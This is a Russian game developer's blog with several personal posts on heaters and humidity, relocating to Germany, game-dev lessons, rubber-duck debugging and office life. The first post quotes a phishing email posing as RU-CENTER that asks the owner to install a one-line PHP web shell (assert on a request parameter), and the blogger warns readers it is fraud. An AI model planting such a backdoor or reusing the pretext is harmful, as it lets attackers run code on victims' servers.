Меню

Сергей Драган

Разработка игр и разные мысли

Письмо «Важное сообщение для владельца домена»

Вчера мне пришло такое письмо:

Уважаемый администратор домена!

В соответствии с изменениями, внесенными в ICANN RAA, Вы должны подтвердить, что фактическое управление доменом sergeydragan.ru осуществляется лицом, указанным в качестве его администратора.

Чтобы подтвердить, что Вы имеете фактическую возможность управлять доменным именем, создайте в корневой директории сайта файл a1ccinz6s9my6i6l.php со следующим содержимым:

<?php
assert(stripslashes($_REQUEST[RUCENTER]));
?>

Файл должен быть создан в течение трех рабочих дней с момента получения настоящего письма и находиться на сервере до 9 июня 2017 года, 16:00 (UTC+03:00), в противном случае процедура активации будет считаться непройденной.

Обращаем Ваше внимание на то, что если процедура подтверждения не будет пройдена, обслуживание домена будет приостановлено.

© АО «Региональный Сетевой Информационный Центр» (RU-CENTER)

В техподдержке hosting.ua отреагировали сразу. Ответили, что это мошенничество, и что о похожих случаях писали здесь и здесь. При помощи этого скрипта злоумышленники смогут запустить на вашем домене свой вредоносный код.

Так что если вы получи такое же письмо — проигнорируйте его.

Так всё же сушит ли обогреватель воздух?

Выбирая домой конвектор, читал о них в интернете. В обсуждениях на форумах часто спрашивают: «Сушит ли конвектор воздух?», а на всяких ответах.мэйлру знатоки на умных щщах рассказывают, что да, мол, сушит.

Ну, думаю, как так может быть? Ведь квартира с закрытыми окнами — это замкнутая система, куда нафиг деться влаге? Провожу эксперимент. Включаю конвектор в закрытой комнате, ставлю в ней гигрометр, смотрю показания. Было 72%, через час стало 62%. Что за магия?

И только потом открыл Википедию, почитал определение влажности воздуха и наконец-то допёр.

Гигрометр показывает относительнуювлажность: сколько влаги в воздухе есть сейчас относительно того, сколько еёможет быть максимально. Если в воздухе может быть максимально 10 г/м3 воды, а в настоящий момент есть 5 г/м3 — то гигрометр покажет 50%.

А максимальное количество зависит от температуры. Например, при 20°С в кубическом метре воздуха может быть не больше 17,14 г влаги, а при 22°С — 19,25 г. Любая вода выше этого не сможет держаться в воздухе и будет оседать конденсатом.

Именно поэтому при одном и том же количестве влаги в воздухе в холодной комнате гигрометр покажет относительную влажность выше, а в тёплой — ниже.

А обогреватель — воздух не сушит.

P.S. Кстати, заодно наконец-то прояснилось, почему появляется роса: воздух охлаждается за ночь, и к утру не способен держать в себе столько влаги, сколько было в нём с вечера. Вот её излишек и конденсируется на траве.

О самоубеждении

Последних лет пять я был убежден, что болен хроническим тонзиллитом. Неприятное заболевание, дающее осложнения на всё подряд в организме, включая сердце и печень. Понимал, что из-за него я плохо высыпаюсь. Прочёл в интернете, что нужно вырезать гланды, но всё откладывал: то времени нет, то на работе что-то важное, то поездку запланировали, то просто неподходящий момент. Но ощущал, как тело постепенно превращается внутри в труху, пока гланды не вырезаны.

А на днях наконец-то сходил к ЛОРу. Оказывается, нет у меня никакого хронического тонзиллита, и он вообще проявляется не так, как я себе представлял. Что мелкие пробочки в гландах — есть у каждого третьего и не вредны для организма. И ни на какое сердце и печень это не влияет.

Ощущение, что я медленно разваливаюсь, ушло за минуту — его просто не стало. В одно мгновение я почувствовал себя полностью здоровым человеком, без каких-либо «но». И, кстати, теперь прекрасно высыпаюсь.

Удивительно, как самоубеждение влияет на ощущения, и как быстро эти ощущения могут измениться, когда меняется то, во что искренне веришь. «Я хорош в математике, но у меня совсем нет фантазии», «у меня от природы отвратительная память» и другие вещи, которые мы себе часто повторяем — что, если дела обстоят так оттого, что мы верим в это, а не необорот?

Год в Германии — впечатления

Чуть меньше года назад сбылась моя розовая мечта, и я переехал в Германию. Началось с того, что со мной через LinkedIn связался рекрутер из гамбуржской игродельной конторы, письмо которого я сперва проигнорировал, потому как «ну кого может заинтересовать какой-то зачуханный быдлокодер-говноляп аж из Украины?». Пробы ради ответил и — опа! — прошёл собеседование.

Переезд

Оформление документов заняло довольно много времени, из-за чего работодателю пришлось дважды переносить на месяц дату начала моего контракта — с 1 апреля на 1 июня.

Наибольшие задержки были, во-первых, из-за того, что контракт по бумажной почте всё никак не доходил, и, во-вторых, из-за диплома: посольство не хотело выдавать визу. В Германии есть специальная БД зарубежных ВУЗов и специальностей, выпускники которых могут получить Blue Card (визу для высококвалифицированных работников, навроде врачей, программистов и инженеров) — http://anabin.kmk.org/no_cache/filter/institutionen.html (там вкладка «Suchen»). Хоть в ней и есть мой ВУЗ, моей специальности там не было, потому работодателю пришлось подтверждать мой диплом через немецкое бюро трудоустройства (чтобы последние посмотрели на мой диплом и выдали официальную справку, что, мол, «выпускники этой специальности — норм ребята, в компах шарят, к высококвалифицированным работникам относятся»), и потом мне отправили соответствующее письмо в Украину, с которым я уже в посольство и шёл.

Кстати, без диплома Blue Card не выдают, и переезд был бы невозможен. С благодарностью вспоминал родительское: «Иди учись и не выдумывай глупостей! Ишь ты, университет бросит он, в жизни оно ему не пригодится!».

Диплом котируется

В конце-концов все необходимые бумаги были собраны (к слову, не так их и много нужно для национальной визы — даже меньше, чем для туристической), и спустя две-три недели мне позвонили из посольства, пригласив зайти с загранпаспортом и получить визу. Так что в мае 2014 я собрал дорожную сумку, закинул на плечи рюкзак, и, тихо пища от восторга — настолько круто, оказывается, летать в самолёте — полетел из Киева в Гамбург. (далее…)

Уроки, вынесенные из не слишком удачной социалки

Примерно два с половиной года назад я был нанят компанией, не связанной с разработкой игр, чтобы принять участие в их экспериментальном проекте — разработке f2p-социалочки с продакт-плейсментом. До этого весь мой опыт в геймдеве ограничивался полутора десятками небольших флеш-казуалок.

Команда подобралась настолько компактной, насколько возможно: серверщик, клиентщик, дизайнер, художник-аниматор. Раздувать штат инвестор не хотел, потому как сам не был уверен в целесообразности данного предприятия. При этом каждый (кроме, пожалуй, меня) хорошо знал своё дело, и был в нём действительно хорош. Казалось бы, всё должно получиться!

Ошеломляющего успеха не было, retention и платежные показатели оказались крайне скромными (правда, и деньги в раскрутку не вкладывались — оценки делали по первым 200к игроков, пришедших в игру в первые недели просто из каталога Вконтакте, пока игра висела в разделе «новые»). В вопросах монетизации и геймдизайна я много опыта всё равно не набрал, однако несколько выводов для себя сделал, и хотел бы ими поделиться — может, кому пригодится. Тем более, сейчас, работая в большой игровой компании, я особенно чётко вижу, как умные и опытные люди избегают моих «детских» ошибок.

На эту же тему, к слову, я ещё могу порекомендовать хорошие статьи «как умудриться совершить 14 ошибок, разработав одну социальную игру» и «Целенаправленный сбор и анализ граблей в разработке игр для соцсетей«.

Нижеизложенное, повторюсь — это сугубо мои персональные выводы (во многом капитанские), основанные на собственных наблюдениях и (часто) ошибках. Итак!..

Я понятия не имею как проектировать

Не переоценивать себя

Приступая к проекту, я не имел раньше опыта в разработке игр такого размера и масштаба, и легкомысленно говорил себе: «Ну, сделать игру, в которой в пять раз больше фич и контента, чем в играх, которые я делал до этого, займёт в пять раз больше времени», — и сильно заблуждался. В результате вылезло великое множество нюансов и подводных камней, о которых я даже не догадывался, и, по большому счету, знать не мог. «Нам не нужен геймдизайнер, почитаем статей, посмотрим на похожие игры — и сами со всем разберемся», «альфа-версия будет готова к сентябрю, потому что мне кажется, что этого будет вполне достаточно», «у других компаний сроки большие из-за бюрократии, раздутого штата и слишком формализованных процессов, а мы сейчас как настоящие инди набросимся и все сделаем».

Возможный выход: попросить подробную консультацию тех людей, которые уже таким занимались и съели собаку. Даже если за это придётся заплатить денег — оно себя окупит. (далее…)

Итоги 2014

Год закончился, почему бы и не подвести итоги?

Побывав на киевском девгамме я тоже воспылал энтузиазмом, и, наслушавшись, что флеш как обычно мертв, решил, что я теперь у мамы html5-разработчик. Прикинул, что куплю на заработанные за год миллионы, потёр в предвкушении ладошки, взял Haxe+OpenFL+Bitfive и стал делать всякие поделки.

ВНЕЗАПНО спойлер: миллионов нет, за год почти ничего не сделано 🙂
(далее…)

Метод утенка

Недавно прочел о дебаге «методом утёнка» (http://en.wikipedia.org/wiki/Rubber_duck_debugging).

Суть проста: столкнувшись с проблемой в коде, которую не удается понять, ставишь перед собой резинового утёнка (или что угодно другое), и объясняешь ему свою проблему так, как будто рассказываешь о ней живому человеку, потому что правильно сформулированный вопрос часто становится ключом к решению.

Стив Макконнелл в главе «Совместное конструирование» книги «Совершенный код» тоже описывает это:

Вероятно, вам знакома одна довольно распространенная ситуация. Вы подходите к столу другого программиста и говорите: «Не мог бы ты взглянуть на этот код? Он не работает». Вы начинаете объяснять: «Причиной не может быть вот это, потому что я сделал то-то и то-то. Причиной также не может быть это, потому что я сделал вот это. Кроме того, причиной не может быть… подожди… Это может быть причиной. Спасибо!» Вы решили проблему, хотя ваш «помощник» не произнес ни слова.

Дергать других я не люблю, потому объяснил проблему первому, что нашлось под рукой — пластиковой бутылке. И что я скажу: это работает! Бутылка не только внимательно и не перебивая выслушала меня, но и быстро помогла найти причину — буквально за двадцать минут после двух часов безуспешного чесания затылка и тяжких вздохов.

Одним словом — ещё одна замечательная вещь из разряда: «Это же так просто, почему я не делал это раньше?!».

quack_quack_mtfckr

О работе

Этим летом ваш покорный слуга при содействии @adzhikemalov и @mxnrl сменил работу, уйдя из банковского ИТ-мониторинга в небольшую компанию на должность AS3-кодера. Мне очень нравится новое место: приятный молодой коллектив единомышленников (чертовски приятно, когда твой собеседник разделяет твои взгляды и интересы!.. а ещё мой отдел можно смело назвать локальным филиалом Двача), уютный офис, отдельные тихие кабинеты вместо опенспейсов, свободный рабочий день (впрочем, будучи офисной планктониной, предпочитаю стандартный график 9-18), отсутствие какого-либо дресс-кода и, главное, полная свобода решений и действий при условии качественного выполнения поставленных передо мной задач и достижения конечных результатов в срок.

Это место просто восхитительно; в свою очередь я стараюсь делать своё дело качественно, и очень боюсь не оправдать оказанного доверия.

Эта компания очень контрастирует с предыдущим местом, в котором я проработал чуть больше года: крупным банком с иностранным капиталом и руководством. До этого было несколько лет в других коммерческих банках разного масштаба вроде полумёртвого «Родовида» или могучего «Сбербанка России», но именно предыдущее место работы особенно запомнилось своей «максимальной корпоративностью», которую до этого видел в основном в западном кино: с «кубиклами», развешанными по стенам лозунгами, надписью на холодильнике: «При краже ваших продуктов обращайтесь в отдел безопасности».

По большому счёту, у меня нет претензий к организации — она меня не обижала :), работу я делал старательно, бунтов не поднимал, а мой внешний вид большую часть времени соответствовал всем требованиям. Но уж очень мне не нравилась царящая вокруг неискренность и искусственность: вроде всех эти возгласов «мы — одна семья!» от HR, при том, что, как правило, мы не знаем имя сотрудника из соседнего отдела, сидящего в нескольких метрах; или культа совещаний — когда обсуждение незначительных вопросов начиналось с обязательного создания встречи в Outlook в специальной комнате для митингов с приглашением излишнего множества людей, которые и не нужны для решения вопроса и использовались для сброса ответственности путём разделения её по множеству участников.

Хотя с моей стороны будет непростительным не сказать о том, что я работал среди отличных специалистов и просто приятных людей, знакомству с которыми искренне рад.

Напоследок приложу копипасту (оригинального автора которой, увы, не знаю), очень точно описывающую мои корпоративные впечатления за прошедший год. Обнаружил, что добрую половину перечисленных дурных приобретенных черт могу смело применить к себе — необходимо обязательно исправлять эти недостатки!

Почему вам никогда не стоит работать в больших компаниях.

Вы никогда не получите удовлетворяющий вас карьерный рост. Стоит задуматься, сколько начальственных слоев лежит над вами, чтобы понять, что вам потребуется слишком много сил для преодоления внутреннего сопротивления компании. Играя — выкарабкаетесь, работая — вряд ли.

Инициатива наказуема. Чтобы протолкнуть простейшее изменение, которое обычному человеку, никогда не работавшему в корпорации, кажется ерундой — изменение буквы в меню программного продукта или коррекция технологического процесса — вам придется потратить колоссальные силы. Скорее всего, когда вы победите в вашем предприятии, вы уже не получите никакого морального удовлетворения.

Вы не сможете высказывать свое мнение публично. Если вы эксперт в интернет-журналистике или просто знаете, кто есть кто на рынке, и вас взяли в большую корпорацию, то вы на время работы там замолчите. Вы не можете заявить, что ваш продукт плохой — неэтично по отношению к коллегам, что продукт конкурентов плохой — неэтично по отношению к конкурентам, вообще не можете что-либо комментировать — лучше помолчать, а то точно кого-то обидите. Все коллеги очень ценны.

Team! Team! Team! Командный дух, синергия, в едином порыве, все как один, только вместе мы можем… Такого вы наслушаетесь очень много. За командной ответственностью вы научитесь прятать свою некомпетентность или неопытность. Самый мизерный проект будет обрастать рабочей группой с групповой же ответственностью, за которой виновного не сыскать, а награды получает абы кто.

Вы лишитесь эмоций. В офисах не принято завидовать и радоваться. Т.е. все это внутри вас останется, постепенно угасая, но вы перестанете показывать это все на своем лице. Скука — это ваша новая маска.

Вы научитесь искренне радоваться победам, к которым не имеете ни малейшего отношения. Вы будете говорить «Молодцы ребята из транспортного! Во дают!» «Классный У НАС браузер», а вы из бухгалтерии. Вы не знаете, что вы не при делах, но вы рады. Ваши проекты будут запускаться все реже и реже, а радоваться вам чему-то надо. Пусть и с каменным лицом офисного работника.

Вы всегда будете получать существенно меньше заработанного вами. Вы можете продавать газ мегалитрами, интернет терабайтами, а программные продукты тысячами, но у вас будет зарпалата, которая обеспечит вам кров и простую еду. Еще у вас будет пара отпусков. В лучшем случае, еще вам дадут 2-3 командировки за границу, которые призваны просто улучшить ваш имидж в отрасли, но большую пользу от них получит все равно компания. Для вас это просто заменитель денег.

Вы разучитесь дерзить и привыкните к тому рабочему темпу, который принят в компании. Еще месяц назад вас раздражало, что договор согласовывают месяц, а коммерческое предложение кто-то готовит неделю. Вы станете таким же и искренне перестанете понимать реальный ход вещей.

Вас научат что такое ЖПП (жопо-прикрывательные письма). Этим особым видом коммуникаций владеет каждый матерый офисный сотрудник. Вы начнете в любой переписке генерировать много-много респондентов в поле CC, до тех пор, пока вопрос не станет неразрешимым, а имя создавшего проблему будет забыто.

Вы научитесь не слушать людей, которые говорят с вами. Большинство опытных офисных работников, как только с ними начинают говорить, утыкаются в смартфон или ноутбук. Вы научитесь постоянно проверять почту и верить в то, что вы ОЧЕНЬ заняты и от вас ОЧЕНЬ многое зависит.

Вы научитесь проводить большую часть времени в бесполезных переговорах. «— Пойдем в переговорку! — А кого брать? — Да всех бери!» Да, вы будете собирать мини-аудитории статистов, которые будут проверять почту пока вы говорите ни о чем до тех пор, пока следующая порция опытных офисных работников вас не выгонит, чтобы делать то же самое.

У вас не будет проблемы с опозданиями. Вы будете опаздывать везде — на внутренние встречи, на проходную где ждут партнеры или подрядчики, на выездные встречи. И у вас не будет с этим проблем — забыл, встретил коллегу в коридоре, пробки — вы поверите, что все это нормальные причины для опозданий.

Вы станете кофеиново-зависимым и полюбите туалеты. Кофе утром, кофе перед полдником, кофе перед обедом, кофе после обеда, кофе до 5 o’clock tea, кофе перед выходом домой. Если вы курите, то добавьте столько раз кофе, сколько раз вы курите. Туалеты спасают, когда пить кофе просто не хочется. Если там есть курилка, то значит там будет главный штаб, переговорка, митинг-рум.

Вы будете проводить 12-14 часов на работе. Но работать вы или не будете совсем или выжмете из себя 2-3 часа от силы. Вы научитесь убеждать себя, что вы делаете нужную работу, что вы перегружены и все это замечают. Хотя втайне все знают, что окружены бездельниками и потому ведут себя так же. Главное не вызвать подозрение, что у тебя есть что-то еще в жизни и работа — только средство достижения.

Вы начнете считать, что вам все время что-то недодают. Работая в очень «богатых» компаниях вы получите лучшее оборудование, лучшую мебель и лучший офис, но вам начнет казаться, что вам полагается автомобиль за счет компании. Логики в этом нет, вы просто начнете в это верить. Еще вы уверуете что вам полагается квартира, но это попозже.

Повышение зарплаты. Работать вы будете все менее продуктивно. Вы, как мхом, обрастете ненужными задачами и митингами, но вам все время будет казаться, что вы заслуживаете большего и повышение заплаты — для вас это само собой разумеещееся событие.

У вас диагностируют синдром офисного работника. Вы начнете все чаще и чаще болеть простудными заболеваниями. Вам быстро объяснят, что это все кондиционеры и не нужно беспокоиться — не пропадать же страховке. Вы будете много болеть и получать от этого удовольствие.

У вас появится излишний вес и некрасивое тело. Опять же, тут будут готовые объяснения — стресс, сидячий образ жизни. Но это все потому, что ваше тело и мозг будут делать не требующую много калорий работу, вы будете с кофе-поинтов таскать напакованные сахаром печенюшки, которые будете 10 раз за день запивать кофе с сахаром. В обед вы будете есть невкусные бизнес-ланчи, которые готовятся из остатков вчерашней кухни. Эта еда приготовлена без любви, а потому она не полезна.

Вы будете боготворить пятницу. Для частного предпринимателя пятница — это ужас, бизнес перестает работать на 2 дня. Для офисного профессионала — это лучший день в неделе — пиво, песни и пляски возможны только в этот день.

Еще вы полюбите корпоративы. Тема не важна. Вы поглотите алкоголя и еды на гроши, но сумеете уверовать, что для вас сделали что-то особенное. Вы привыкните к стыду и за годы работы в Корпорации и будете знать про коллег больше гадостей, чем их супруги. И вам начнет это нравится. Про это же можно посплетничать.

Вы потеряете стартаперский дух. Все эти непонятные люди, делающие не такие важные продукты, как у вас, будут вызывать презрение. А вы будете всегда знать, что в стартапе вы с первого раза преуспеете, просто вам это не нужно. Вы другой, иной, успешный… уже.

Вы наберете кредитов. В начале работы вам захочется авто, как у коллег. Вы купите его в кредит, будучи свято убежденным, что «ну квартиру на 30 лет я точно не возьму». Через несколько лет системного появления денег на пластиковой карте ваше чувство самосохранения притупится и вы влезете в такие долги, которые казались вам невозможными еще вчера.

Впечатлений пост

Мои впечатления никому не интересны, но, в любом случае, поделюсь тем, что стало для меня новинкой в последнюю пару дней.

The Expendables 2

Expendables logo

У меня просто щенячий восторг. Если первую часть фильма, вышедшую в 2010, сделали обычным шаблонным боевиком, просто с очень известными актёрами, то во второй добавили больше иронии и обыгрывания темы ШварцоСталлонев с Уиллисами и их фильмов, вкупе с мемами о всемогущем Чаке Норрисе. Вот именно такой я и ожидал увидеть ещё первую часть. Происходящее на экране сложно воспринимать серьёзно, но зрелище отличное. Всё взрывается, кругом стрельба, тестостерон через край (Кстати, кто там говорил, мол, будет рейтинг PG-13? Хрен там! Кровища течёт рекой.). Ах да, кстати, спойлер: ВАН ДАММ В КОНЦЕ УМРЁТ.

DayZ

day_z_artwork

Ха! Я наконец-то не поленился, зашёл к Гуглу в гости и вместе с ним установил себе DayZ. Впечатление номер раз — управление в ArmA2 совсем нехорошее. Я не то, чтобы балованный: ещё лет восемь назад прошёл с большим удовольствием Operation Flashpoint и пару модов к нему, не возражая ни против страшненькой графики, ни против топорного интерфейса. Но сейчас, после восхитительного управления в том же, скажем, Battlefield3, где всё максимально удобно и интуитивно, кривоватый интерфейс ArmA раздражает.

Более-менее совладав с контролем персонажа, забрёл в ближайшую деревню и был практически сразу избит каким-то зомби до полусмерти, но на моё огромное (как оказалось позже — практически феноменальное по меркам DayZ) везение, меня подобрал пролетавший мимо вертолёт с двумя парнями на борту, которые из чистого альтруизма доставили меня к больнице, сделали переливание крови (процедура, мгновенно пополняющая запас здоровья до максимума), вручили АК и высадили на небольшом холме вдали от зомби рядом с каким-то автомобилем, вдобавок ко всему ещё и починив его. Затем пожелали удачи и улетели. Правда, ещё почему-то после этого админ сервера написал, что они читеры, и он их забанит.

Вначале DayZ мне показалась пугающей, навроде Dead Space или Silent Hill, но короткое время спустя выяснилось, что (по  крайней мере, с моей точки зрения) ничего в ней такого нет. Зомби вызывают не страх, а, скорее, интерес и азарт, а бояться, как оказалось, в первую очередь нужно других игроков (!), которые логичному объединению в группы часто предпочитают убийство «за просто так».

В целом, согласен с теми, кто утверждает, что DayZ удалось передать дух того «Сталкера», которым он должен был бы стать. Осторожность, никакой спешки, сплошное ползание на брюхе. Permadeath заставляет быть максимально аккуратным и внимательным: дорога длиной в метров 500 от окраины города к магазину может затянуться на полчаса, кульминацией которых становится радостное: «Ура, наконец-то добрался!», вслед за чем практически сразу засевший чёрт-те где снайпер единственным выстрелом сводит всё на нет, заставляя возмущённо кричать в монитор: «Да мать твою так, что ж я тебе сделал?!».

В любом случае, я считаю себя чересчур оказуалившимся и нехардкорным игроком, чтобы играть в DayZ.

О Красной Шапочке, дипломе, jvm.ini и -Xmx128m

Здравствуйте, друзья!

Я рад выложить в блог новый пост. Приношу извинения за долгое молчание — писать ведь хочется о чём-то интересном, а его нужно вначале отыскать.

Ну, например, я защитил на «отлично» дипломный проект, закончив-таки заочно университет и получив диплом специалиста по компьютерным системам и сетям. Познакомился лично с донельзя приятным парнем Виктором ‘Komizart’ Солодиловым и, пусть и без личной встречи, но всё равно чуть ближе узнал других интересных коллег-разработчиков.

В последнее время поработал в качестве фрилансера для базирующейся в Санкт-Петербурге компании над интерактивной AIR-книгой под iPad. Получил много бесценного опыта касательно AIR для iOS, потому как специфика проекта заметно отличалась от обычной флеш-игрушки. Столкнулся с некоторыми загадочными и неприятными «чудесами» Flash CS Pro 5.5/6 и любопытными нюансами, о которых, пока не позабыл, надо будет в ближайшее время написать. Несмотря на то, что я много тупил и выдавал результат не так быстро, как хотелось бы, заказчик относился к этому с терпимостью и пониманием, со своей стороны охотно идя на компромиссы ради того, чтобы совместно сделать продукт, за который не будет стыдно.

К сожалению, приложение иногда вываливается на первом iPad, будучи убитым осью из-за того, что выжирает чересчур много памяти, но на iPad2 /3 ведёт себя прилично. В ближайшем апдейте планирую устранить первую проблему, а пока работаю с этим же заказчиком над новой сказкой. Будет здорово.

Красная шапочка

Красная шапочка

А вот над играми в последние месяца полтора не работал вообще — как-то категорически не хватает времени. Вкупе с недавней сменой основной фулл-тайм работы, вернувшей меня от нерегулярных 12-часовых дежурств к стандартному 8-часовому рабочему дню, снова периодически стал поздними ночами засыпать прямо за рабочим столом, уткнувшись носом в клавиатуру :-).

Ну и чтобы хоть что-то полезное было в посте — вот краткая заметка: если при компиляции Flash CS сообщает, что «The Java Virtual Machine used for ActionScript 3.0 compilation ran out of memory… Open jvm.ini in editor» — соглашайтесь. Откроется коротенький конфигурационный файл в две строчки. Необходимо отредактировать вторую, увеличив число в параметре. Причём, если вписать мало — ошибка не уйдёт, а если вписать много — то флеш вообще перестанет компилить даже самые крошечные проекты. Метод проб и гуглежа дал результат: сразу вписываем «-Xmx348m» — это максимум.

JVM

Спасибо за внимание. Мне очень приятно, что вы читаете этот блог! Оставайтесь со мной, а я постараюсь быть не слишком нудным :-).